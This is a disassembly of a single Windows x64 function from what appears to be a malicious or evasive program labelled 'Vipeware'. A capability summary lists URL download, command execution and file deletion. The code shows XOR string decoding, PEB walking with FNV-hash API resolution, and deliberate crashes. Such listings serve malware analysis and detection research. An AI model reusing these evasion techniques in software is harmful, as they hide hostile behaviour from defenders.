Function at 0x140078d60
Capabilities:
Access peb ldr_data
Delete file
Download url
Encode data using xor
Execute command
Hash data using fnv
Receive data
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf48]
mov eax, 0x1048
call fcn.1400f48f0
sub rsp, rax
movaps xmmword [rsp + 0x1030], xmm6
movaps xmmword [rsp + 0x1020], xmm7
movaps xmmword [rsp + 0x1010], xmm8
movaps xmmword [rsp + 0x1000], xmm9
movaps xmmword [rsp + 0xff0], xmm10
movaps xmmword [rsp + 0xfe0], xmm11
movaps xmmword [rsp + 0xfd0], xmm12
mov rax, qword [0x1401788c0]
xor rax, rsp
mov qword [rbp + 0xec8], rax
mov rdi, r9
mov qword [rbp + 0x348], r9
mov r14, r8
mov qword [rbp + 0x6c8], r8
mov qword [rbp + 0xa0], rdx
mov r15, rcx
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0xfb0]
mov qword [rbp + 0xc0], rax
mov rbx, qword [rbp + 0xfc8]
mov qword [rbp + 0x280], rbx
mov rsi, qword [rbp + 0xfe0]
mov qword [rbp + 0x218], rsi
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14008345c
cmp byte [0x1401796b6], 0
jne 0x140078e41
call fcn.1400767a0
mov byte [0x1401796b6], 1
xor edx, edx
lea rcx, [0x1401752f0]
call fcn.140025fc0
mov byte [0x140179cc0], 1
xor r12d, r12d
mov r13d, dword [reloc.WS2_32.dll_accept]
movss xmm11, dword [0x140101fa4]
xorps xmm12, xmm12
movss xmm9, dword [0x140147550]
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x14007d710
movups xmm0, xmmword [0x140144798]
movups xmmword [rbp + 0x6a8], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140079020
cmp r13d, 2
jl 0x140078fe0
movdqa xmm5, xmmword [0x140107310]
mov edx, r12d
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6ac]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140078ee1
jmp 0x140079020
lea r9, [rbp + 0x6a8]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140078ff0
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp + 0x6a8]
call fcn.140005170
mov ecx, 0x1010100
call fcn.140072950
movaps xmm0, xmmword [0x140102100]
movups xmmword [rbp + 0x9b8], xmm0
lea rdx, [rbp + 0x9b8]
mov ecx, 3
call fcn.140021cd0
movaps xmm0, xmmword [0x140102100]
movups xmmword [rbp + 0x900], xmm0
lea rdx, [rbp + 0x900]
mov ecx, 5
call fcn.140021cd0
movaps xmm1, xmm11
mov ecx, 6
call fcn.140021e10
mov r14, 0xffffffffffffffff
lea r15, [0x140179cc8]
cmp byte [reloc.WS2_32.dll_accept], r12b
je 0x14007ad5b
mov qword [rbp + 0x480], r12
lea rcx, [rbp + 0x480]
call fcn.140025c30
mov rbx, qword [rbp + 0x80]
mov rcx, rbx
call fcn.140025a30
call fcn.1400196e0
mov rsi, rax
movaps xmm0, xmmword [0x140102100]
mov qword [rax + 0x114], r12
mov dword [rax + 0x11c], r12d
mov dword [rax + 0x120], 0x3f800000
movups xmmword [rax + 0xf4], xmm0
mov dword [rax + 0xd4], 0x3f800000
mov dword [rax + 0xd8], 0x3f800000
mov dword [rax + 0xdc], 0x3f800000
mov dword [rax + 0xe0], 0x3f800000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x488], 0x44390000
mov dword [rbp + 0x48c], 0x43e60000
movsd xmm0, qword [0x1401447a8]
movsd qword [rbp - 0x30], xmm0
movzx eax, word [0x1401447b0]
mov word [rbp - 0x28], ax
cmp byte [0x1401447b1], r12b
je 0x14007918e
mov byte [rbp - 0x30], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x2f], 0x35
xor byte [rbp - 0x2e], 0x36
xor byte [rbp - 0x2d], 0x37
xor byte [rbp - 0x2c], 0x38
xor byte [rbp - 0x2b], 0x39
xor byte [rbp - 0x2a], 0x3a
xor byte [rbp - 0x29], 0x3b
xor byte [rbp - 0x28], 0x3c
xor byte [rbp - 0x27], 0x3d
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x488]
lea rcx, [rbp - 0x30]
call fcn.140007ed0
mov dword [rbp + 0x490], 0x43814000
mov dword [rbp + 0x494], 0x42480000
lea rcx, [rbp + 0x490]
call fcn.140025c30
mov rcx, rdi
call fcn.140025a30
lea rcx, str.____Vipeware
call fcn.14004f2d0
movaps xmm0, xmm9
call fcn.140021bb0
mov rcx, rbx
call fcn.140025a30
mov dword [rbp + 0x498], 0x43700000
mov dword [rbp + 0x49c], 0x430c0000
lea rcx, [rbp + 0x498]
call fcn.140025c30
movsd xmm0, qword [0x1401447b8]
movsd qword [rbp + 0xf8], xmm0
mov eax, dword [0x1401447c0]
mov dword [rbp + 0x100], eax
movzx eax, byte [0x1401447c4]
mov byte [rbp + 0x104], al
mov r8d, r12d
cmp r13d, 2
jl 0x140079347
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401447b8]
xorps xmm2, xmm0
movd dword [rbp + 0xf8], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140079360
lea rcx, [rbp + 0xf8]
call fcn.14004f2d0
mov dword [rbp + 0x4a0], 0x43700000
mov dword [rbp + 0x4a4], 0x43250000
lea rcx, [rbp + 0x4a0]
call fcn.140025c30
movsd xmm0, qword [0x1401447c8]
movsd qword [rbp + 0x30], xmm0
movzx ecx, word [0x1401447d0]
mov word [rbp + 0x38], cx
movzx eax, byte [0x1401447d2]
mov byte [rbp + 0x30], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x31], 0x35
xor byte [rbp + 0x32], 0x36
xor byte [rbp + 0x33], 0x37
xor byte [rbp + 0x34], 0x38
xor byte [rbp + 0x35], 0x39
xor byte [rbp + 0x36], 0x3a
xor byte [rbp + 0x37], 0x3b
xor cl, 0x3c
mov byte [rbp + 0x38], cl
xor byte [rbp + 0x39], 0x3d
xor al, 0x3e
mov byte [rbp + 0x3a], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x140175332]
lea rcx, [rbp + 0x30]
call fcn.140047730
call fcn.140021440
movaps xmm0, xmm9
call fcn.140021bb0
mov rcx, rbx
call fcn.140025a30
mov dword [rbp + 0x4a8], 0x43700000
mov dword [rbp + 0x4ac], 0x434d0000
lea rcx, [rbp + 0x4a8]
call fcn.140025c30
movsd xmm0, qword [0x1401447d8]
movsd qword [rbp + 0x108], xmm0
mov eax, dword [0x1401447e0]
mov dword [rbp + 0x110], eax
movzx eax, byte [0x1401447e4]
mov byte [rbp + 0x114], al
mov r8d, r12d
cmp r13d, 2
jl 0x1400795a1
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401447d8]
xorps xmm2, xmm0
movd dword [rbp + 0x108], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c]
xorps xmm2, xmm1
movd dword [rbp + 0x10c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x108]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400795b0
lea rcx, [rbp + 0x108]
call fcn.14004f2d0
mov dword [rbp + 0x4b0], 0x43700000
mov dword [rbp + 0x4b4], 0x43660000
lea rcx, [rbp + 0x4b0]
call fcn.140025c30
movsd xmm0, qword [0x1401447e8]
movsd qword [rbp + 0x40], xmm0
movzx ecx, word [0x1401447f0]
mov word [rbp + 0x48], cx
movzx eax, byte [0x1401447f2]
mov byte [rbp + 0x40], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x41], 0x35
xor byte [rbp + 0x42], 0x36
xor byte [rbp + 0x43], 0x37
xor byte [rbp + 0x44], 0x38
xor byte [rbp + 0x45], 0x39
xor byte [rbp + 0x46], 0x3a
xor byte [rbp + 0x47], 0x3b
xor cl, 0x3c
mov byte [rbp + 0x48], cl
xor byte [rbp + 0x49], 0x3d
xor al, 0x3e
mov byte [rbp + 0x4a], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdi, [0x140175431]
mov rdx, rdi
lea rcx, [rbp + 0x40]
call fcn.140047730
call fcn.140021440
mov dword [rsi + 0x114], 0x3f4ccccd
mov dword [rsi + 0x118], 0x3ecccccd
mov qword [rsi + 0x11c], 0x3e4ccccd
mov dword [rbp + 0x4b8], 0x43700000
mov dword [rbp + 0x4bc], 0x43898000
lea rcx, [rbp + 0x4b8]
call fcn.140025c30
mov rcx, rbx
call fcn.140025a30
movaps xmm6, xmmword [0x140147660]
mov dword [rbp + 0x4c0], 0x43820000
mov dword [rbp + 0x4c4], 0x42200000
movsd xmm0, qword [str.xZQV]
movsd qword [rbp + 0x168], xmm0
mov eax, dword [0x140144800]
mov dword [rbp + 0x170], eax
cmp byte [0x140144803], r12b
je 0x140079870
mov r8d, r12d
cmp r13d, 2
jl 0x140079828
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.xZQV]
xorps xmm2, xmm0
movd dword [rbp + 0x168], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x16c]
xorps xmm2, xmm1
movd dword [rbp + 0x16c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x168]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140079840
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm6
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140175660]
mov qword [rsp + 0x28], rax
lea rax, [0x140175658]
mov qword [rsp + 0x20], rax
lea r9, [0x140175650]
xor r8d, r8d
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x168]
call fcn.14003f470
test al, al
je 0x14007a6c2
lea rax, [rbp + 0x7a8]
mov qword [rbp - 8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x7a8], xmm0
mov qword [rbp + 0x7b8], r12
mov qword [rbp + 0x7c0], r12
mov r8, r14
inc r8
cmp byte [rdi + r8], r12b
jne 0x140079902
mov rdx, rdi
lea rcx, [rbp + 0x7a8]
call fcn.140056200
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x788], xmm0
mov qword [rbp + 0x798], r12
mov qword [rbp + 0x7a0], r12
mov r8, r14
lea rax, [0x140175332]
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140079940
mov rdx, rax
lea rcx, [rbp + 0x788]
call fcn.140056200
nop
lea r8, [rbp + 0x7a8]
lea rdx, [rbp + 0x788]
lea rcx, [0x140179ab0]
call fcn.14009e720
cmp byte [0x140179cc0], 0
jne 0x140079a01
movsd xmm0, qword [0x140144808]
movsd qword [rbp + 0x50], xmm0
movzx ecx, word [0x140144810]
mov word [rbp + 0x58], cx
movzx eax, byte [0x140144812]
mov byte [rbp + 0x50], 0x41
xor byte [rbp + 0x51], 0x35
xor byte [rbp + 0x52], 0x36
xor byte [rbp + 0x53], 0x37
xor byte [rbp + 0x54], 0x38
xor byte [rbp + 0x55], 0x39
xor byte [rbp + 0x56], 0x3a
xor byte [rbp + 0x57], 0x3b
xor cl, 0x3c
mov byte [rbp + 0x58], cl
xor byte [rbp + 0x59], 0x3d
xor al, 0x3e
mov byte [rbp + 0x5a], al
mov rdx, r15
cmp qword [0x140179ce0], 0xf
cmova rdx, qword [0x140179cc8]
xor r9d, r9d
lea r8, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14007a6c2
movsd xmm0, qword [0x140144818]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140144820]
mov dword [rsp + 0x58], eax
cmp byte [0x140144823], 0
je 0x140079b70
mov r8d, r12d
cmp r13d, 2
jl 0x140079b35
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144818]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140079b40
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xc70]
call fcn.140062e50
mov r8, rax
lea rdx, [rbp + 0xea8]
lea rcx, [0x140179ab0]
call fcn.1400a43f0
nop
cmp qword [rbp + 0xeb8], 2
jbe 0x14007a49e
mov ecx, dword [0x1401796bc]
call fcn.14006a830
test al, al
je 0x140079dcf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079c46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079c46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079c41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079c20
cmp r8d, 0xcded1a85
je 0x140079c4b
test r9d, r9d
jne 0x140079c00
mov rax, qword [rax]
jmp 0x140079bd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079cf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079cf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079cf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079cd0
cmp r8d, 0xe80fd3a
je 0x140079cfb
test r9d, r9d
jne 0x140079cb0
mov rax, qword [rax]
jmp 0x140079c80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079da6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079da6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079da1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079d80
cmp r8d, 0xa52bcaf9
je 0x140079dab
test r9d, r9d
jne 0x140079d60
mov rax, qword [rax]
jmp 0x140079d30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006a540
test al, al
je 0x140079fef
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079e66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079e66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079e61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079e40
cmp r8d, 0xcded1a85
je 0x140079e6b
test r9d, r9d
jne 0x140079e20
mov rax, qword [rax]
jmp 0x140079df0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079f16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079f16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079f11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079ef0
cmp r8d, 0xe80fd3a
je 0x140079f1b
test r9d, r9d
jne 0x140079ed0
mov rax, qword [rax]
jmp 0x140079ea0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079fc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079fc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079fc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079fa0
cmp r8d, 0xa52bcaf9
je 0x140079fcb
test r9d, r9d
jne 0x140079f80
mov rax, qword [rax]
jmp 0x140079f50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x1401796b0], 0
je 0x14007a20f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007a086
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007a086
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007a081
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007a060
cmp r8d, 0xcded1a85
je 0x14007a08b
